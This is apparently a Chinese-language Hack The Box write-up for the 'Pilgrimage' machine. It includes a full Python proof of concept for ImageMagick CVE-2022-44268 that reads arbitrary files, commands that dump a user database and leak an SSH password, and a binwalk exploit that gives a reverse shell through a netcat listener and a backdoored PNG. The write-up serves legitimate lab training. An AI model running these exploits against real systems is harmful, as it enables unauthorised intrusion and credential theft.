HTB-Pilgrimage
信息搜集
端口扫描,熟悉的80,22端口开局
1
./rustscan -a 10.129.160.210 -r 0-65535 --ulimit 5000
访问80端口,需要修改hosts文件
1
2
3sudo vi /etc/hosts
//修改内容
10.129.160.210 pilgrimage.htb
WEB
80端口运行的是个文件压缩类应用,可以上传文件,存在登录及注册功能
先注册一个账号,网站可以任意注册然后直接登录
使用dirsearch进行目录扫描,发现网站存在git泄露漏洞
1
dirsearch -u http://pilgrimage.htb/
下载lijiejie大神的GitHack工具,一把梭
1
2
3
4#工具地址
https://github.com/lijiejie/GitHack
#使用方法
python GitHack.py http://pilgrimage.htb/.git泄露的git目录如下
对代码进行审计,发现SQL文件路径和网站对上传文件的后缀做了严格限制
在文件目录中发现一个magick文件,使用sublimetext打开发现是二进制文件
使用file命令查看magick文件,给予其执行权限
1
2
3file magick
chmod +x magic
./magick网上搜索ImageMagick相关漏洞,发现7.1.0-49版本存在任意文件读取漏洞(CVE-2022-44268)
CVE-20220-44268
漏洞大致原理
ImageMagick解析 PNG 图像(例如,用于调整大小)时,生成的图像中可能会嵌入任意本地文件的内容(如果 ImageMagick 二进制文件有读取权限)。
漏洞POC如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81/**POC参考链接
https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py
**/
//POC
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging
logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'
def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'\n', 1)
return binascii.unhexlify(data.replace(b'\n', b'')).decode()
def read(filename: str):
if not filename:
logging.error('you must specify a input filename')
return
res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'\x00', 1)
res = parse_data(d.decompress(data[1:]))
if res:
sys.stdout.write(res)
sys.stdout.flush()
def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('you must specify a output filename')
return
with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)
png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')
def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")
if __name__ == '__main__':
main()执行python文件,生成PNG图片
1
python ImageMagicPOC.py generate -o poc.png -r /etc/passwd
在网上首页上传poc.png文件,抓包可以看见数据包中含有poc信息。上传成功会显示图片链接
curl图片保存到本地,使用POC文件查看图片内容
1
2curl http://pilgrimage.htb/shrunk/649e46888cb73.png --output result.png
python ImageMagicPOC.py parse -i result.png整理得到的用户列表文件
1
2root:x:0:0:root:/root:/bin/bash
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash尝试使用POC读取SQL文件,因为编码问题会产生报错
1
python ImageMagicPOC.py generate -o poc.png -r /var/db/pilgrimage
更换其他POC,下载地址和使用方法如下
1
2
3
4
5#下载地址
https://github.com/kljunowsky/CVE-2022-44268
#使用方法,先复制一张图片到文件夹下,例如test.png
#生成POC
python3 CVE-2022-44268.py --image test.png --file-to-read /var/db/pilgrimage --output POC.png修改python脚本内容,并获取db文件内容
1
2
3
4#修改解码方式
decrypted_profile_type = raw_profile_type_stipped
#获取db数据,保存到SQL文件中
python3 CVE-2022-44268.py --url http://xxxx.com/xxx.png使用xxd转换编码
1
cat dump.sql | xxd -r -p - > sqlite.sql
sqlite3打开SQL文件,搜索user相关信息
1
2sqlite3 sqlite.sql
select * from users;拿到emily的密码,结合获取到的passwd文件。尝试用ssh连接
1
2
3ssh [email protected]
#密码
abigchonkyboi123拿到user的flag
1
find / type f -name user.* 2>/dev/null
提权
使用ps或者上传pspy查看系统进程,看到有一个sh脚本
查看sh脚本,发现binwalk关键字
使用searchsploit搜索binwalk相关漏洞
将脚本拷贝到本文件夹下,使用方法如下
1
2
3#复制一张png图片到脚本所在文件夹
#生成poc
python 51249.py /home/zpast0r/sectools/Binwalk/image.png 10.10.14.12 4444使用python开启http服务
1
python -m http.server 80
本机开启监听,在靶机上使用wget下载后门png
1
2
3
4#本机
nc -lvvp 4444
#靶机
wget http://10.10.14.12/binwalk_exploit.png获取到shell
获取到root的flag
1
find / tyep f -name root.* 2>/dev/null